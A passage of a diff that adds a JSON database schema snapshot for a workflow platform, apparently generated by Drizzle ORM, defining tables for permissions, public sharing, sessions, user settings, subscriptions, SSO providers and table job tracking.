"permission_group_workspace_workspace_id_idx": { + "name": "permission_group_workspace_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permission_group_workspace_group_workspace_unique": { + "name": "permission_group_workspace_group_workspace_unique", + "columns": [ + { + "expression": "permission_group_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "permission_group_workspace_permission_group_id_permission_group_id_fk": { + "name": "permission_group_workspace_permission_group_id_permission_group_id_fk", + "tableFrom": "permission_group_workspace", + "tableTo": "permission_group", + "columnsFrom": ["permission_group_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "permission_group_workspace_workspace_id_workspace_id_fk": { + "name": "permission_group_workspace_workspace_id_workspace_id_fk", + "tableFrom": "permission_group_workspace", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "permission_group_workspace_organization_id_organization_id_fk": { + "name": "permission_group_workspace_organization_id_organization_id_fk", + "tableFrom": "permission_group_workspace", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.permissions": { + "name": "permissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entity_type": { + "name": "entity_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "entity_id": { + "name": "entity_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permission_type": { + "name": "permission_type", + "type": "permission_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "permissions_user_id_idx": { + "name": "permissions_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permissions_entity_idx": { + "name": "permissions_entity_idx", + "columns": [ + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permissions_user_entity_type_idx": { + "name": "permissions_user_entity_type_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permissions_user_entity_permission_idx": { + "name": "permissions_user_entity_permission_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "permission_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permissions_user_entity_idx": { + "name": "permissions_user_entity_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "permissions_unique_constraint": { + "name": "permissions_unique_constraint", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "permissions_user_id_user_id_fk": { + "name": "permissions_user_id_user_id_fk", + "tableFrom": "permissions", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.public_share": { + "name": "public_share", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "resource_type": { + "name": "resource_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "auth_type": { + "name": "auth_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'public'" + }, + "password": { + "name": "password", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "allowed_emails": { + "name": "allowed_emails", + "type": "json", + "primaryKey": false, + "notNull": false, + "default": "'[]'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "public_share_token_unique": { + "name": "public_share_token_unique", + "columns": [ + { + "expression": "token", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "public_share_resource_unique": { + "name": "public_share_resource_unique", + "columns": [ + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "public_share_resource_id_idx": { + "name": "public_share_resource_id_idx", + "columns": [ + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "public_share_workspace_id_idx": { + "name": "public_share_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "public_share_workspace_id_workspace_id_fk": { + "name": "public_share_workspace_id_workspace_id_fk", + "tableFrom": "public_share", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "public_share_created_by_user_id_fk": { + "name": "public_share_created_by_user_id_fk", + "tableFrom": "public_share", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.rate_limit_bucket": { + "name": "rate_limit_bucket", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokens": { + "name": "tokens", + "type": "numeric", + "primaryKey": false, + "notNull": true + }, + "last_refill_at": { + "name": "last_refill_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.resume_queue": { + "name": "resume_queue", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "paused_execution_id": { + "name": "paused_execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parent_execution_id": { + "name": "parent_execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "new_execution_id": { + "name": "new_execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "context_id": { + "name": "context_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resume_input": { + "name": "resume_input", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "queued_at": { + "name": "queued_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "claimed_at": { + "name": "claimed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "resume_queue_parent_status_idx": { + "name": "resume_queue_parent_status_idx", + "columns": [ + { + "expression": "parent_execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "queued_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "resume_queue_new_execution_idx": { + "name": "resume_queue_new_execution_idx", + "columns": [ + { + "expression": "new_execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "resume_queue_paused_execution_id_paused_executions_id_fk": { + "name": "resume_queue_paused_execution_id_paused_executions_id_fk", + "tableFrom": "resume_queue", + "tableTo": "paused_executions", + "columnsFrom": ["paused_execution_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.session": { + "name": "session", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "ip_address": { + "name": "ip_address", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "active_organization_id": { + "name": "active_organization_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "impersonated_by": { + "name": "impersonated_by", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "session_user_id_idx": { + "name": "session_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "session_token_idx": { + "name": "session_token_idx", + "columns": [ + { + "expression": "token", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "session_user_id_user_id_fk": { + "name": "session_user_id_user_id_fk", + "tableFrom": "session", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "session_active_organization_id_organization_id_fk": { + "name": "session_active_organization_id_organization_id_fk", + "tableFrom": "session", + "tableTo": "organization", + "columnsFrom": ["active_organization_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "session_token_unique": { + "name": "session_token_unique", + "nullsNotDistinct": false, + "columns": ["token"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.settings": { + "name": "settings", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "theme": { + "name": "theme", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'system'" + }, + "auto_connect": { + "name": "auto_connect", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "telemetry_enabled": { + "name": "telemetry_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "email_preferences": { + "name": "email_preferences", + "type": "json", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "billing_usage_notifications_enabled": { + "name": "billing_usage_notifications_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "show_training_controls": { + "name": "show_training_controls", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "super_user_mode_enabled": { + "name": "super_user_mode_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "mothership_environment": { + "name": "mothership_environment", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'default'" + }, + "error_notifications_enabled": { + "name": "error_notifications_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "snap_to_grid_size": { + "name": "snap_to_grid_size", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "show_action_bar": { + "name": "show_action_bar", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "copilot_enabled_models": { + "name": "copilot_enabled_models", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "copilot_auto_allowed_tools": { + "name": "copilot_auto_allowed_tools", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'" + }, + "last_active_workspace_id": { + "name": "last_active_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "settings_user_id_user_id_fk": { + "name": "settings_user_id_user_id_fk", + "tableFrom": "settings", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "settings_user_id_unique": { + "name": "settings_user_id_unique", + "nullsNotDistinct": false, + "columns": ["user_id"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sim_trigger_state": { + "name": "sim_trigger_state", + "schema": "", + "columns": { + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "block_id": { + "name": "block_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope_key": { + "name": "scope_key", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "last_fired_at": { + "name": "last_fired_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": { + "sim_trigger_state_workflow_id_workflow_id_fk": { + "name": "sim_trigger_state_workflow_id_workflow_id_fk", + "tableFrom": "sim_trigger_state", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "sim_trigger_state_workflow_id_block_id_scope_key_pk": { + "name": "sim_trigger_state_workflow_id_block_id_scope_key_pk", + "columns": ["workflow_id", "block_id", "scope_key"] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.skill": { + "name": "skill", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "skill_workspace_name_unique": { + "name": "skill_workspace_name_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "skill_workspace_id_workspace_id_fk": { + "name": "skill_workspace_id_workspace_id_fk", + "tableFrom": "skill", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "skill_user_id_user_id_fk": { + "name": "skill_user_id_user_id_fk", + "tableFrom": "skill", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sso_provider": { + "name": "sso_provider", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "issuer": { + "name": "issuer", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "domain": { + "name": "domain", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "oidc_config": { + "name": "oidc_config", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "saml_config": { + "name": "saml_config", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_id": { + "name": "provider_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "sso_provider_provider_id_idx": { + "name": "sso_provider_provider_id_idx", + "columns": [ + { + "expression": "provider_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sso_provider_domain_idx": { + "name": "sso_provider_domain_idx", + "columns": [ + { + "expression": "domain", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sso_provider_user_id_idx": { + "name": "sso_provider_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sso_provider_organization_id_idx": { + "name": "sso_provider_organization_id_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sso_provider_user_id_user_id_fk": { + "name": "sso_provider_user_id_user_id_fk", + "tableFrom": "sso_provider", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "sso_provider_organization_id_organization_id_fk": { + "name": "sso_provider_organization_id_organization_id_fk", + "tableFrom": "sso_provider", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.subscription": { + "name": "subscription", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "plan": { + "name": "plan", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "reference_id": { + "name": "reference_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stripe_customer_id": { + "name": "stripe_customer_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stripe_subscription_id": { + "name": "stripe_subscription_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "period_start": { + "name": "period_start", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "period_end": { + "name": "period_end", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "cancel_at_period_end": { + "name": "cancel_at_period_end", + "type": "boolean", + "primaryKey": false, + "notNull": false + }, + "cancel_at": { + "name": "cancel_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "canceled_at": { + "name": "canceled_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "ended_at": { + "name": "ended_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "seats": { + "name": "seats", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "trial_start": { + "name": "trial_start", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "trial_end": { + "name": "trial_end", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "billing_interval": { + "name": "billing_interval", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stripe_schedule_id": { + "name": "stripe_schedule_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "json", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "subscription_reference_status_idx": { + "name": "subscription_reference_status_idx", + "columns": [ + { + "expression": "reference_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "check_enterprise_metadata": { + "name": "check_enterprise_metadata", + "value": "plan != 'enterprise' OR metadata IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.table_jobs": { + "name": "table_jobs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "table_id": { + "name": "table_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "rows_processed": { + "name": "rows_processed", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "table_jobs_one_active_per_table": { + "name": "table_jobs_one_active_per_table", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"table_jobs\".\"status\" = 'running' AND \"table_jobs\".\"type\" <> 'export'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "table_jobs_watchdog_idx": { + "name": "table_jobs_watchdog_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "table_jobs_table_started_idx": { + "name": "table_jobs_table_started_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "table_jobs_table_id_user_table_definitions_id_fk": { + "name": "table_jobs_table_id_user_table_definitions_id_fk", + "tableFrom": "table_jobs", + "tableTo": "user_table_definitions", + "columnsFrom": ["table_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "table_jobs_workspace_id_workspace_id_fk": { + "name": "table_jobs_workspace_id_workspace_id_fk", + "tableFrom": "table_jobs", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.table_row_executions": { + "name": "table_row_executions", + "schema": "", + "columns": { + "table_id": { + "name": "table_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "row_id": { + "name": "row_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "group_id": { + "name": "group_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "job_id": { + "name": "job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "running_block_ids": { + "name": "running_block_ids", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "'{}'::text[]" + }, + "block_errors": { + "name": "block_errors", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "cancelled_at": { + "name": "cancelled_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "enrichment_details": { + "name": "enrichment_details", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "table_row_executions_table_status_idx": { + "name": "table_row_executions_table_status_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"table_row_executions\".\"status\" IN ('queued', 'running', 'pending')", + "concurrently": false, + "method": "btree", + "with": {} + }, + "table_row_executions_execution_id_idx": { + "name": "table_row_executions_execution_id_idx", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"table_row_executions\".\"execution_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "table_row_executions_table_group_idx": { + "name": "table_row_executions_table_group_idx", + "columns": [ + { + "expression": "table_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "group_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "table_row_executions_table_id_user_table_definitions_id_fk": { + "name": "table_row_executions_table_id_user_table_definitions_id_fk", + "tableFrom": "table_row_executions", + "tableTo": "user_table_definitions", + "columnsFrom": ["table_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "table_row_executions_row_id_user_table_rows_id_fk": { + "name": "table_row_executions_row_id_user_table_rows_id_fk", + "tableFrom": "table_row_executions", + "tableTo": "user_table_rows", + "columnsFrom": ["row_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "table_row_executions_row_id_group_id_pk": { + "name": "table_row_executions_row_id_group_id_pk", + "columns": ["row_id", "group_id"] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.table_run_dispatches": { + "name": "table_run_dispatches", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "table_id": { + "name": "table_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mode": { + "name": "mode", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "cursor": { + "name": "cursor", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "limit": { + 